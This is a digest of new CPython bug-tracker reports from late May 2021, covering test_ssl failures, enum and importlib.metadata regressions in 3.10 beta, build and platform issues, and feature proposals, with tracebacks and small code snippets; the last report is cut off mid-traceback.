See https://github.com/python/cpython/pull/26104/checks?check_run_id=2662511684

======================================================================
ERROR: test_get_server_certificate (test.test_ssl.SimpleBackgroundTests)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/Users/runner/work/cpython/cpython/Lib/test/test_ssl.py", line 2132, in test_get_server_certificate
    _test_get_server_certificate(self, *self.server_addr, cert=SIGNING_CA)
  File "/Users/runner/work/cpython/cpython/Lib/test/test_ssl.py", line 2329, in _test_get_server_certificate
    pem = ssl.get_server_certificate((host, port), ca_certs=cert)
  File "/Users/runner/work/cpython/cpython/Lib/ssl.py", line 1520, in get_server_certificate
    with create_connection(addr, timeout=timeout) as sock:
  File "/Users/runner/work/cpython/cpython/Lib/socket.py", line 844, in create_connection
    raise err
  File "/Users/runner/work/cpython/cpython/Lib/socket.py", line 832, in create_connection
    sock.connect(sa)
ConnectionRefusedError: [Errno 61] Connection refused

----------
components: Tests
messages: 394299
nosy: christian.heimes, erlendaasland
priority: normal
severity: normal
status: open
title: test_get_server_certificate fails on macOS
versions: Python 3.11

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44229>
_______________________________________

From report at bugs.python.org  Tue May 25 07:10:17 2021
From: report at bugs.python.org (Matthias Klose)
Date: Tue, 25 May 2021 11:10:17 +0000
Subject: [New-bugs-announce] [issue44230] lookup extensions with the stable
 ABI under a platform specific name
Message-ID: <1621941017.83.0.685868201234.issue44230@roundup.psfhosted.org>


New submission from Matthias Klose <doko at debian.org>:

On Posix targets, the file names for extensionsions are currently

foo.cpython-39-x86_64-linux-gnu.so
foo.abi3.so

for platforms which have PLATFORM_TRIPLET defined.  This makes it clear which extension belongs to which interpreter, and at least on Debian and Ubuntu, it allowes cross-building of extensions by installing both the required build and host (or host and target) packages in the same environment.

Of course, the stable ABI is stable, so introducing another extension suffix to lookup has to be optional.  Having such a lookup only as a local patch in a CPython build would make these extensions not loadable by other CPython builds.

Proposing to also look up an extension with the stable ABI as

foo.x86_64-linux-gnu.abi3.so

Not using foo.x86_64-linux-gnu-abi3.so (with a dash) to keep possible .endswith() matches working.

Adding this new lookup to _PyImport_DynLoadFiletab, before or after the original .abi3.so should be possible.

- Adding it after the original one has the advantage that lookups won't get penalized with one extra lookup for people not using it.
- Adding it before the original one has the advantage that the more specific one is looked up before the more general one. That behavior could also become the default on Debian builds using a local patch.

One more question would be how to document that change, or if the platform specific extension file name should be the preferred name for the future.  Adding here just a minimal patch for discussion.

----------
components: Extension Modules
files: platform-stable-abi.diff
keywords: patch
messages: 394325
nosy: barry, doko, petr.viktorin
priority: normal
severity: normal
status: open
title: lookup extensions with the stable ABI under a platform specific name
type: enhancement
versions: Python 3.10, Python 3.11
Added file: https://bugs.python.org/file50062/platform-stable-abi.diff

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44230>
_______________________________________

From report at bugs.python.org  Tue May 25 07:25:56 2021
From: report at bugs.python.org (Erlend E. Aasland)
Date: Tue, 25 May 2021 11:25:56 +0000
Subject: [New-bugs-announce] [issue44231] Remove _PyTuple_FromArray from the
 public API
Message-ID: <1621941956.81.0.550032848927.issue44231@roundup.psfhosted.org>


New submission from Erlend E. Aasland <erlend.aasland at innova.no>:

I propose to remove the undocumented function _PyTuple_FromArray from the public API, by using the extern keyword iso. PyAPI_FUNC. _PyTuple_FromArray was introduced by bpo-36030 in GH-11954 during the Python 3.8 alpha phase. In the stdlib, it is used by the itertools module only. It "lives" in Include/internal/pycore_tupleobject.h.

----------
components: C API
messages: 394328
nosy: erlendaasland, petr.viktorin, vstinner
priority: normal
severity: normal
status: open
title: Remove _PyTuple_FromArray from the public API
type: enhancement
versions: Python 3.11

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44231>
_______________________________________

From report at bugs.python.org  Tue May 25 07:39:15 2021
From: report at bugs.python.org (Mariusz Felisiak)
Date: Tue, 25 May 2021 11:39:15 +0000
Subject: [New-bugs-announce] [issue44232] Crash in Objects/typeobject.c
Message-ID: <1621942755.2.0.438042973363.issue44232@roundup.psfhosted.org>


New submission from Mariusz Felisiak <felisiak.mariusz at gmail.com>:

We noticed a behavior change in [1]. One of our tests `apps.tests.AppsTests.test_model_clash()`[2] crashes with:

python: Objects/typeobject.c:3219: type_new: Assertion `type != NULL' failed.
Fatal Python error: Aborted

Current thread 0x00007ffa6951a280 (most recent call first):
  File "django/tests/apps/tests.py", line 301 in test_model_clash
  File "cpython/Lib/unittest/case.py", line 549 in _callTestMethod
  File "cpython/Lib/unittest/case.py", line 592 in run
  File "cpython/Lib/unittest/case.py", line 652 in __call__
  File "django/django/test/testcases.py", line 283 in _setup_and_call
  File "django/django/test/testcases.py", line 247 in __call__
  File "cpython/Lib/unittest/suite.py", line 122 in run
  File "cpython/Lib/unittest/suite.py", line 84 in __call__
  File "cpython/Lib/unittest/runner.py", line 176 in run
  File "django/django/test/runner.py", line 705 in run_suite
  File "django/django/test/runner.py", line 772 in run_tests
  File "django/tests/./runtests.py", line 332 in django_tests
  File "django/tests/./runtests.py", line 596 in <module>
Aborted (core dumped)

This can be an issue is our test which is quite tricky. I will try to investigate it.

[1] https://github.com/python/cpython/commit/ecf14e6557c6e4f7af9c0d6460d31fe121c22553
[2] https://github.com/django/django/blob/7e51893911237dfca9294e3ca12163ff813fb656/tests/apps/tests.py#L274-L309

----------
components: Interpreter Core
messages: 394330
nosy: felixxm, vstinner
priority: normal
severity: normal
status: open
title: Crash in Objects/typeobject.c
type: crash
versions: Python 3.10, Python 3.11

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44232>
_______________________________________

From report at bugs.python.org  Tue May 25 08:27:00 2021
From: report at bugs.python.org (=?utf-8?b?TWlja2HDq2wgVsOpcmls?=)
Date: Tue, 25 May 2021 12:27:00 +0000
Subject: [New-bugs-announce] [issue44233] Provide Windows Terminal Fragment
 Extension
Message-ID: <1621945620.89.0.911213334128.issue44233@roundup.psfhosted.org>


New submission from Micka?l V?ril <mika.veril at wanadoo.fr>:

Windows terminal has now a new feature called Fragment Extension. This can be used by third party applications to let Terminal know they exist. So, if the python team add a Fragment Extensions for python it allows python to appear directly as a profile in Windows terminal with the official icon and possibly other customization. More info here https://docs.microsoft.com/en-us/windows/terminal/json-fragment-extensions.
Currently if we want to add python to the list of profile, we need to do this manually but Python should be added to Windows terminal itself.
A good example is the new git-bash integration recently added to git for Windows https://github.com/git-for-windows/git/issues/3183

----------
components: Windows
messages: 394336
nosy: mveril, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: Provide Windows Terminal Fragment Extension
type: enhancement

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44233>
_______________________________________

From report at bugs.python.org  Tue May 25 10:20:50 2021
From: report at bugs.python.org (Ronald Oussoren)
Date: Tue, 25 May 2021 14:20:50 +0000
Subject: [New-bugs-announce] [issue44234] Debugging with LLDB doesn't work
 for universal2 installer on macOS Big Sur
Message-ID: <1621952450.41.0.860203928612.issue44234@roundup.psfhosted.org>


New submission from Ronald Oussoren <ronaldoussoren at mac.com>:

I've installed python 3.9.5 using the universal2 installer on my M1 MacBook.

Debugging this python using lldb doesn't work because the debugger cannot attach to the (newly launched) binary.  This appears to be due to a missing entitlement in the signed executable.

Background: https://developer.apple.com/forums/thread/676028?answerId=666834022#666834022 (in particular the first reply).

----------
components: Build, macOS
messages: 394356
nosy: ned.deily, ronaldoussoren
priority: normal
severity: normal
stage: needs patch
status: open
title: Debugging with LLDB doesn't work for universal2 installer on macOS Big Sur
type: behavior
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44234>
_______________________________________

From report at bugs.python.org  Tue May 25 10:38:27 2021
From: report at bugs.python.org (Dong-hee Na)
Date: Tue, 25 May 2021 14:38:27 +0000
Subject: [New-bugs-announce] [issue44235] Remove l*gettext() and related
 functions in the gettext module
Message-ID: <1621953507.1.0.183782210575.issue44235@roundup.psfhosted.org>


New submission from Dong-hee Na <donghee.na at python.org>:

Those APIs were planned to remove at Python 3.10.
Now it's python 3.11 it looks okay to remove now.

----------
components: Library (Lib)
messages: 394362
nosy: corona10, serhiy.storchaka
priority: normal
severity: normal
status: open
title: Remove l*gettext() and related functions in the gettext module
type: enhancement
versions: Python 3.11

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44235>
_______________________________________

From report at bugs.python.org  Tue May 25 11:15:02 2021
From: report at bugs.python.org (Steve Dower)
Date: Tue, 25 May 2021 15:15:02 +0000
Subject: [New-bugs-announce] [issue44236] Define SOABI, LIBRARY,
 LDLIBRARY and LIBPL on Windows
Message-ID: <1621955702.53.0.253039628808.issue44236@roundup.psfhosted.org>


New submission from Steve Dower <steve.dower at python.org>:

Python on Windows currently has no values in sysconfig to locate the lib files for building. Though these are very predictable (for now), it would be nice to have them in the same place as for other platforms.

I propose defining the following config vars in sysconfig:

LIBRARY=Path(_winapi.GetModuleFileName(sys.dllhandle)).stem
LDLIBRARY=Path(_winapi.GetModuleFileName(sys.dllhandle)).name
LIBPL=Path(sys.prefix) / "libs"
SOABI=<SO but without '.' and '.pyd'>

Are there better shared names for these? Or others that should be added?

----------
components: Windows
messages: 394368
nosy: paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: Define SOABI, LIBRARY, LDLIBRARY and LIBPL on Windows
versions: Python 3.10, Python 3.11

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44236>
_______________________________________

From report at bugs.python.org  Tue May 25 16:27:06 2021
From: report at bugs.python.org (STINNER Victor)
Date: Tue, 25 May 2021 20:27:06 +0000
Subject: [New-bugs-announce] [issue44237] test_ssl randomly fails on macOS
 GH Action: test_get_server_certificate_sni() and
 test_get_server_certificate_timeout()
Message-ID: <1621974426.55.0.383928848705.issue44237@roundup.psfhosted.org>


New submission from STINNER Victor <vstinner at python.org>:

https://github.com/python/cpython/pull/26359/checks?check_run_id=2668874284

Error 1:

2021-05-25T20:02:41.9174160Z ======================================================================
2021-05-25T20:02:41.9268350Z ERROR: test_get_server_certificate_sni (test.test_ssl.SimpleBackgroundTests)
2021-05-25T20:02:41.9272030Z ----------------------------------------------------------------------
2021-05-25T20:02:41.9275950Z Traceback (most recent call last):
2021-05-25T20:02:41.9374600Z   File "/Users/runner/work/cpython/cpython/Lib/test/test_ssl.py", line 2147, in test_get_server_certificate_sni
2021-05-25T20:02:41.9404170Z     pem = ssl.get_server_certificate((host, port), ca_certs=SIGNING_CA)
2021-05-25T20:02:41.9483350Z   File "/Users/runner/work/cpython/cpython/Lib/ssl.py", line 1520, in get_server_certificate
2021-05-25T20:02:41.9505910Z     with create_connection(addr, timeout=timeout) as sock:
2021-05-25T20:02:41.9585510Z   File "/Users/runner/work/cpython/cpython/Lib/socket.py", line 844, in create_connection
2021-05-25T20:02:41.9607200Z     raise err
2021-05-25T20:02:41.9687730Z   File "/Users/runner/work/cpython/cpython/Lib/socket.py", line 832, in create_connection
2021-05-25T20:02:41.9708730Z     sock.connect(sa)
2021-05-25T20:02:41.9791030Z ConnectionRefusedError: [Errno 61] Connection refused

Error 2 when test_ssl is re-run:

======================================================================
FAIL: test_get_server_certificate_timeout (test.test_ssl.SimpleBackgroundTests)
----------------------------------------------------------------------
Traceback (most recent call last):
  File "/Users/runner/work/cpython/cpython/Lib/test/test_ssl.py", line 2165, in test_get_server_certificate_timeout
    with self.assertRaises(socket.timeout):
AssertionError: TimeoutError not raised

----------
assignee: christian.heimes
components: SSL, Tests
messages: 394392
nosy: christian.heimes, vstinner
priority: normal
severity: normal
status: open
title: test_ssl randomly fails on macOS GH Action: test_get_server_certificate_sni() and test_get_server_certificate_timeout()
versions: Python 3.11

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44237>
_______________________________________

From report at bugs.python.org  Wed May 26 04:53:03 2021
From: report at bugs.python.org (Ricardo Daniel Fuentes)
Date: Wed, 26 May 2021 08:53:03 +0000
Subject: [New-bugs-announce] [issue44238] Unable to install Python 3.9.5 -
 Windows Server
Message-ID: <1622019183.28.0.514153258509.issue44238@roundup.psfhosted.org>


New submission from Ricardo Daniel Fuentes <ricardo.daniel.fuentes at gmail.com>:

Hi,

I am Admin of a Windows Server 2012 R2, I have installed successfully Python 3.9.5 (64-bit) however I cannot uninstall it, I get the error: "0x80070659 - The installation is forbidden by system policy. Contact your system administrator"

I don't have any software system policies defined on this server so this could be a Python bug.

attached the log.

Regards,
Ricardo

----------
components: Installation
files: Python 3.9.5 (64-bit)_20210526084254.txt
messages: 394421
nosy: RFuentes
priority: normal
severity: normal
status: open
title: Unable to install Python 3.9.5 - Windows Server
versions: Python 3.9
Added file: https://bugs.python.org/file50064/Python 3.9.5 (64-bit)_20210526084254.txt

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44238>
_______________________________________

From report at bugs.python.org  Wed May 26 06:58:43 2021
From: report at bugs.python.org (oxalica)
Date: Wed, 26 May 2021 10:58:43 +0000
Subject: [New-bugs-announce] [issue44239] Use platform defined data
 directories instead of ~/.python_history
Message-ID: <1622026723.74.0.652330213731.issue44239@roundup.psfhosted.org>


New submission from oxalica <oxalicc at pm.me>:

Currently we use path `~/.python_history` for history file in all platforms.
It is not a good choice since it spams in user's home directory.

There are already specifications for where to store program data.
For Windows, we should use `%APPDATA%/Python/history`;
for Mac OS, we should use `~/Library/Application Support/Python/history`;
for other POSIX platforms, we should use `$XDG_DATA_HOME/python/history` or `~/.local/share/python/history` according to XDG Spec.

These paths should be preferred as default. But we can also check and use `~/.python_history` if it exists and readable, for compatibility.

----------
components: Library (Lib)
messages: 394429
nosy: oxalica
priority: normal
severity: normal
status: open
title: Use platform defined data directories instead of ~/.python_history
type: enhancement
versions: Python 3.11

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44239>
_______________________________________

From report at bugs.python.org  Wed May 26 12:03:18 2021
From: report at bugs.python.org (Mark Shannon)
Date: Wed, 26 May 2021 16:03:18 +0000
Subject: [New-bugs-announce] [issue44240] Incorrect behavior of LOAD_ATTR
 due to overflow in tp_version
Message-ID: <1622044998.68.0.9376140973.issue44240@roundup.psfhosted.org>


New submission from Mark Shannon <mark at hotpy.org>:

Should the tp_version overflow, and wrap around to a value previously used in the opcache for LOAD_ATTR, then LOAD_ATTR could produce the wrong value.

It will take a fair bit of contrivance and a long time to do this, but it is possible:
Run some code ~2000 times to get the version cached.
Change an attibute of the type about 4 billion times.
Rerun the original code.



Invalidating all the opcaches is going to be a huge pain, so I propose not allowing the version to overflow but partitioning the 32 bit space something like this:

Top 20 bits: Unique per-class ID, 0 and 0xFFFFF are reserved.
Low 12 bits: Per-class version.

tp_version == 0 that no version has been assigned to this class, as yet.
(tp_version & 0xFFF) == 0 means that the version tag is temporarily invalid
tp_version == 0xFFFFFFFF means that the version tag is permanently invalid

If (tp_version & 0xFFF) != 0 and tp_version != 0xFFFFFFFF, then the combined 32 bits represents a unique tag of the class's state as it does now.

Should the low bits of a class hit 0xFFF then all 32 bits are set to 0xFFFFFFFF, and we can't cache its version any more.
If a class has been changed a 1000 times, then there is unlikely to be much value in caching it anyway.

----------
components: Interpreter Core
messages: 394442
nosy: Mark.Shannon, pablogsal
priority: normal
severity: normal
stage: needs patch
status: open
title: Incorrect behavior of LOAD_ATTR  due to overflow in tp_version
type: behavior
versions: Python 3.10, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44240>
_______________________________________

From report at bugs.python.org  Wed May 26 13:13:17 2021
From: report at bugs.python.org (Jason R. Coombs)
Date: Wed, 26 May 2021 17:13:17 +0000
Subject: [New-bugs-announce] [issue44241] Sync importlib_metadata
 enhancements through 4.1.
Message-ID: <1622049197.13.0.421349179442.issue44241@roundup.psfhosted.org>


Change by Jason R. Coombs <jaraco at jaraco.com>:


----------
components: Library (Lib)
nosy: jaraco
priority: normal
severity: normal
status: open
title: Sync importlib_metadata enhancements through 4.1.
versions: Python 3.10, Python 3.11

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44241>
_______________________________________

From report at bugs.python.org  Wed May 26 15:31:43 2021
From: report at bugs.python.org (=?utf-8?q?Miro_Hron=C4=8Dok?=)
Date: Wed, 26 May 2021 19:31:43 +0000
Subject: [New-bugs-announce] [issue44242] enum.IntFlag regression: missing
 values cause TypeError
Message-ID: <1622057503.27.0.852704547544.issue44242@roundup.psfhosted.org>


New submission from Miro Hron?ok <miro at hroncok.cz>:

With the change introduced in https://bugs.python.org/issue38250 https://github.com/python/cpython/commit/7aaeb2a3d682ecba125c33511e4b4796021d2f82 I observe a regression in behavior of enum.IntFlag with missing values.

Consider this code (from pyproj):

    from enum import IntFlag

    class GeodIntermediateFlag(IntFlag):
        DEFAULT = 0x0

        NPTS_MASK = 0xF
        NPTS_ROUND = 0x0
        NPTS_CEIL = 0x1
        NPTS_TRUNC = 0x2
         
        DEL_S_MASK = 0xF0
        DEL_S_RECALC = 0x00
        DEL_S_NO_RECALC = 0x10
      
        AZIS_MASK = 0xF00
        AZIS_DISCARD = 0x000
        AZIS_KEEP = 0x100

This is a valid code in Python 3.9, however produces a TypeError in Python 3.10.0b1:

    Traceback (most recent call last):
      File "intflag.py", line 3, in <module>
        class GeodIntermediateFlag(IntFlag):
      File "/usr/lib64/python3.10/enum.py", line 544, in __new__
        raise TypeError(
    TypeError: invalid Flag 'GeodIntermediateFlag' -- missing values: 4, 8, 32, 64, 128, 512, 1024, 2048


Since I don't see this behavior mentioned in https://docs.python.org/3.10/library/enum.html or https://docs.python.org/3.10/whatsnew/3.10.html or https://docs.python.org/3.10/whatsnew/changelog.html I believe this is a regression.

----------
components: Library (Lib)
messages: 394457
nosy: John Belmonte, Manjusaka, ethan.furman, hauntsaninja, hroncok, jbelmonte, veky
priority: normal
severity: normal
status: open
title: enum.IntFlag regression: missing values cause TypeError
type: behavior
versions: Python 3.10

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44242>
_______________________________________

From report at bugs.python.org  Wed May 26 21:56:01 2021
From: report at bugs.python.org (Terry J. Reedy)
Date: Thu, 27 May 2021 01:56:01 +0000
Subject: [New-bugs-announce] [issue44243] tkinter button colors on Mac
Message-ID: <1622080561.97.0.61409319906.issue44243@roundup.psfhosted.org>


New submission from Terry J. Reedy <tjreedy at udel.edu>:

Mac Mohave, 3.9 with 8.6.8 and 3.10 with 8.6.11

import tkinter as tk
r = tk.Tk()
b = tk.Button(r, text='START', fg='white', bg='red')  # Or '#f00'.
b.pack()
r.mainloop()

On Windows, white on red button, as expected.  On Mac, all white until one presses and holds mouse, and then blue background.  Default black on white works OK.

This may be new since several years ago, when 2 of us worked on turtle demo, which has 3 such buttons.  They all now misbehave (reported by Raymond).  If someone tested on Mac, it must have worked then.

I retried with the b= line replaced with

s = ttk.Style()
s.configure('Td.TButton', foreground='white', background='red')
b = ttk.Button(r, text='START', style='Td.TButton')

with the same result.  (Mark, did I get this right?)

----------
components: Tkinter, macOS
messages: 394506
nosy: markroseman, ned.deily, rhettinger, ronaldoussoren, taleinat, terry.reedy
priority: normal
severity: normal
status: open
title: tkinter button colors on Mac
versions: Python 3.10, Python 3.11, Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44243>
_______________________________________

From report at bugs.python.org  Thu May 27 00:37:34 2021
From: report at bugs.python.org (Nihar Ranjan Roy)
Date: Thu, 27 May 2021 04:37:34 +0000
Subject: [New-bugs-announce] [issue44244] protected members accessible in
 other modules
Message-ID: <1622090254.23.0.17376966329.issue44244@roundup.psfhosted.org>


New submission from Nihar Ranjan Roy <niharranjanroy at gmail.com>:

As per literature protected members are not accessible in other modules but I found that there is no difference between public and protected members in python 3.9.0

----------
files: Screenshot (108).png
messages: 394509
nosy: niharranjanroy
priority: normal
severity: normal
status: open
title: protected members accessible in other modules
type: behavior
versions: Python 3.9
Added file: https://bugs.python.org/file50067/Screenshot (108).png

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44244>
_______________________________________

From report at bugs.python.org  Thu May 27 07:51:42 2021
From: report at bugs.python.org (Ladislav Heller)
Date: Thu, 27 May 2021 11:51:42 +0000
Subject: [New-bugs-announce] [issue44245] Cross-compilation of CPython 3.8
 with _socket module using Anddroid NDK fails
Message-ID: <1622116302.56.0.159914345765.issue44245@roundup.psfhosted.org>


New submission from Ladislav Heller <ladislav.heller at gmail.com>:

Trying to cross-compile CPython 3.8 using Android NDK toolchain with _socket module enabled. Build fails at:

../Modules/socketmodule.c:6739:5: error: invalid use of undefined type 'struct if_nameindex'
     for (i = 0; ni[i].if_index != 0 && i < INT_MAX; i++) {
     ^
../Modules/socketmodule.c:6739:19: error: dereferencing pointer to incomplete type
     for (i = 0; ni[i].if_index != 0 && i < INT_MAX; i++) {
                   ^
../Modules/socketmodule.c:6753:17: error: invalid use of undefined type 'struct if_nameindex'
                 ni[i].if_index, PyUnicode_DecodeFSDefault, ni[i].if_name);
                 ^
../Modules/socketmodule.c:6753:19: error: dereferencing pointer to incomplete type
                 ni[i].if_index, PyUnicode_DecodeFSDefault, ni[i].if_name);
                   ^
../Modules/socketmodule.c:6753:17: error: invalid use of undefined type 'struct if_nameindex'
                 ni[i].if_index, PyUnicode_DecodeFSDefault, ni[i].if_name);
                 ^
../Modules/socketmodule.c:6753:62: error: dereferencing pointer to incomplete type
                 ni[i].if_index, PyUnicode_DecodeFSDefault, ni[i].if_name);
                                                              ^

Without _socket module, the cross-compilation works well. Also the result python3 build transferred to my Android device and tested in Terminal app works well. However without _socket module for example the command:
"python3 -m ensurepip"
obviously fails because of missing _socket module.

----------
components: Cross-Build
messages: 394539
nosy: Alex.Willmer, laheller
priority: normal
severity: normal
status: open
title: Cross-compilation of CPython 3.8 with _socket module using Anddroid NDK fails
type: compile error
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44245>
_______________________________________

From report at bugs.python.org  Thu May 27 11:30:11 2021
From: report at bugs.python.org (Anthony Sottile)
Date: Thu, 27 May 2021 15:30:11 +0000
Subject: [New-bugs-announce] [issue44246] 3.10 beta 1: breaking change in
 importlib.metadata entry points
Message-ID: <1622129411.13.0.355840154736.issue44246@roundup.psfhosted.org>


New submission from Anthony Sottile <asottile at umich.edu>:

this is breaking code that's unfortunately out of my control (vendor) -- also it looks really wrong

```python
import importlib.metadata
print('looks like a list:')
print(importlib.metadata.distribution('pip').entry_points)
print('first item:')
print(importlib.metadata.distribution('pip').entry_points[0])
```

output in 3.9:

```console
$ ./venv39/bin/python t.py
looks like a list:
[EntryPoint(name='pip', value='pip._internal.cli.main:main', group='console_scripts'), EntryPoint(name='pip3', value='pip._internal.cli.main:main', group='console_scripts'), EntryPoint(name='pip3.8', value='pip._internal.cli.main:main', group='console_scripts')]
first item:
EntryPoint(name='pip', value='pip._internal.cli.main:main', group='console_scripts')
```

```console
$ venv310/bin/python t.py
looks like a list:
(EntryPoint(name='pip', value='pip._internal.cli.main:main', group='console_scripts'), EntryPoint(name='pip3', value='pip._internal.cli.main:main', group='console_scripts'), EntryPoint(name='pip3.8', value='pip._internal.cli.main:main', group='console_scripts'))
first item:
Traceback (most recent call last):
  File "/usr/lib/python3.10/importlib/metadata/__init__.py", line 217, in __getitem__
    return next(iter(self.select(name=name)))
StopIteration

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "/tmp/y/t.py", line 5, in <module>
    print(importlib.metadata.distribution('pip').entry_points[0])
  File "/usr/lib/python3.10/importlib/metadata/__init__.py", line 219, in __getitem__
    raise KeyError(name)
KeyError: 0
```

----------
messages: 394548
nosy: Anthony Sottile
priority: normal
severity: normal
status: open
title: 3.10 beta 1: breaking change in importlib.metadata entry points
versions: Python 3.10

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44246>
_______________________________________

From report at bugs.python.org  Thu May 27 11:34:21 2021
From: report at bugs.python.org (Anthony Sottile)
Date: Thu, 27 May 2021 15:34:21 +0000
Subject: [New-bugs-announce] [issue44247] bpo stacktrace linkifier does not
 understand 3.10+
Message-ID: <1622129661.52.0.431700912505.issue44247@roundup.psfhosted.org>


New submission from Anthony Sottile <asottile at umich.edu>:

for instance in this issue: https://bugs.python.org/issue44246

it links to 3.1/... instead of 3.10/...

----------
messages: 394549
nosy: Anthony Sottile
priority: normal
severity: normal
status: open
title: bpo stacktrace linkifier does not understand 3.10+

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44247>
_______________________________________

From report at bugs.python.org  Thu May 27 11:56:04 2021
From: report at bugs.python.org (Donald O'Donnell)
Date: Thu, 27 May 2021 15:56:04 +0000
Subject: [New-bugs-announce] [issue44248] copy.deepcopy calls objdect's
 __deepcopy__ with incorrect argument
Message-ID: <1622130964.15.0.739693664196.issue44248@roundup.psfhosted.org>


New submission from Donald O'Donnell <DonnieODonnell at gmail.com>:

In copy.py of Std Lib, line 153 is now:

    y = copier(memo)

Should be:

    y = copier(x)

The present version copies the `memo` dict rather than `x`, the object to be copied by it's __deepcopy__ method.

----------
components: Library (Lib)
files: diff.txt
messages: 394558
nosy: DonnieODonnell
priority: normal
severity: normal
status: open
title: copy.deepcopy calls objdect's __deepcopy__ with incorrect argument
type: behavior
Added file: https://bugs.python.org/file50068/diff.txt

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44248>
_______________________________________

From report at bugs.python.org  Thu May 27 12:05:40 2021
From: report at bugs.python.org (Ayush Parikh)
Date: Thu, 27 May 2021 16:05:40 +0000
Subject: [New-bugs-announce] [issue44249] Readme typo fix
Message-ID: <1622131540.46.0.345987812718.issue44249@roundup.psfhosted.org>


Change by Ayush Parikh <ayushparikh332 at gmail.com>:


----------
assignee: docs at python
components: Documentation
nosy: ayush332, docs at python
priority: normal
severity: normal
status: open
title: Readme typo fix
type: enhancement

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44249>
_______________________________________

From report at bugs.python.org  Thu May 27 12:11:40 2021
From: report at bugs.python.org (Mark Winterbottom)
Date: Thu, 27 May 2021 16:11:40 +0000
Subject: [New-bugs-announce] [issue44250] Link to ibera IRC goes to 404 page
Message-ID: <1622131900.16.0.827273945679.issue44250@roundup.psfhosted.org>


New submission from Mark Winterbottom <mark at londonappdeveloper.com>:

The link to "libera" on https://www.python.org/community/irc/ goes to http://libera.chat/t which is 404 not found.

----------
messages: 394561
nosy: londonappdev
priority: normal
severity: normal
status: open
title: Link to ibera IRC goes to 404 page

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44250>
_______________________________________

From report at bugs.python.org  Thu May 27 12:27:10 2021
From: report at bugs.python.org (Guillaume Desforges)
Date: Thu, 27 May 2021 16:27:10 +0000
Subject: [New-bugs-announce] [issue44251] ctypes '_get_soname' fails
 silently on missing objdump
Message-ID: <1622132830.76.0.817909229212.issue44251@roundup.psfhosted.org>


New submission from Guillaume Desforges <guillaume.desforges.pro at gmail.com>:

## Description

Libraries such as oscrypto will use `ctypes.utils.find_library` to look for libraries, which in turns uses ``.

However, on Linux, if the system does not have the objdump command, the function fails silently.

https://github.com/python/cpython/blob/0bf0500baa4cbdd6c5668461c2a2a008121772be/Lib/ctypes/util.py#L177

## Expected behavior

It should either raise an Exception saying that objdump is missing, or outputting a helpful message.

----------
components: Library (Lib)
messages: 394565
nosy: GuillaumeDesforges
priority: normal
severity: normal
status: open
title: ctypes '_get_soname' fails silently on missing objdump
type: behavior
versions: Python 3.9

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue44251>
_______________________________________

From report at bugs.python.org  Thu May 27 13:13:50 2021
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 27 May 2021 17:13:50 +0000
Subject: [New-bugs-announce] [issue44252] test_ssl:
 test_pha_required_nocert() crashs randomly with "Windows fatal exception:
 access violation" on Windows
Message-ID: <1622135630.8.0.897323171327.issue44252@roundup.psfhosted.org>


New submission from STINNER Victor <vstinner at python.org>:

Christian Heimes reported a crash in bpo-42972:
https://bugs.python.org/issue42972#msg394520
---
GH-26399 is failing with an access violation on Windows. It's failing in one of the flaky tests. I wonder if the segfault is related to flaky tests somehow...

https://dev.azure.com/Python/cpython/_build/results?buildId=81570&view=logs&j=c83831cd-3752-5cc7-2f01-8276919eb334

test_pha_optional (test.test_ssl.TestPostHandshakeAuth) ... ok
test_pha_optional_nocert (test.test_ssl.TestPostHandshakeAuth) ... ok
test_pha_required (test.test_ssl.TestPostHandshakeAuth) ... ok
Windows fatal exception: access violation

Current thread 0x000009e0 (most recent call first):
  File "D:\a\1\s\lib\linecache.py", line 63 in checkcache
  File "D:\a\1\s\lib\traceback.py", line 375 in extract
  File "D:\a\1\s\lib\traceback.py", line 494 in __init__
  File "D:\a\1\s\lib\traceback.py", line 132 in format_exception
  File "D:\a\1\s\lib\test\test_ssl.py", line 262 in handle_error
  File "D:\a\1\s\lib\test\test_ssl.py", line 2530 in run
  File "D:\a\1\s\lib\threading.py", line 1006 in _bootstrap_inner
  File "D:\a\1\s\lib\threading.py", line 963 in _bootstrap

Thread 0x000003c4 (most recent call first):
  File "D:\a\1\s\lib\threading.py", line 1102 in _wait_for_tstate_lock
  File "D:\a\1\s\lib\threading.py", line 1086 in join
  File "D:\a\1\s\lib\test\test_ssl.py", line 2604 in run
  File "D:\a\1\s\lib\threading.py", line 1006 in _bootstrap_inner
  File "D:\a\1\s\lib\threading.py", line 963 in _bootstrap

Thread 0x00001700 (most recent call first):
  File "D:\a\1\s\lib\ssl.py", line 1131 in read
  File "D:\a\1\s\lib\ssl.py", line 1256 in recv
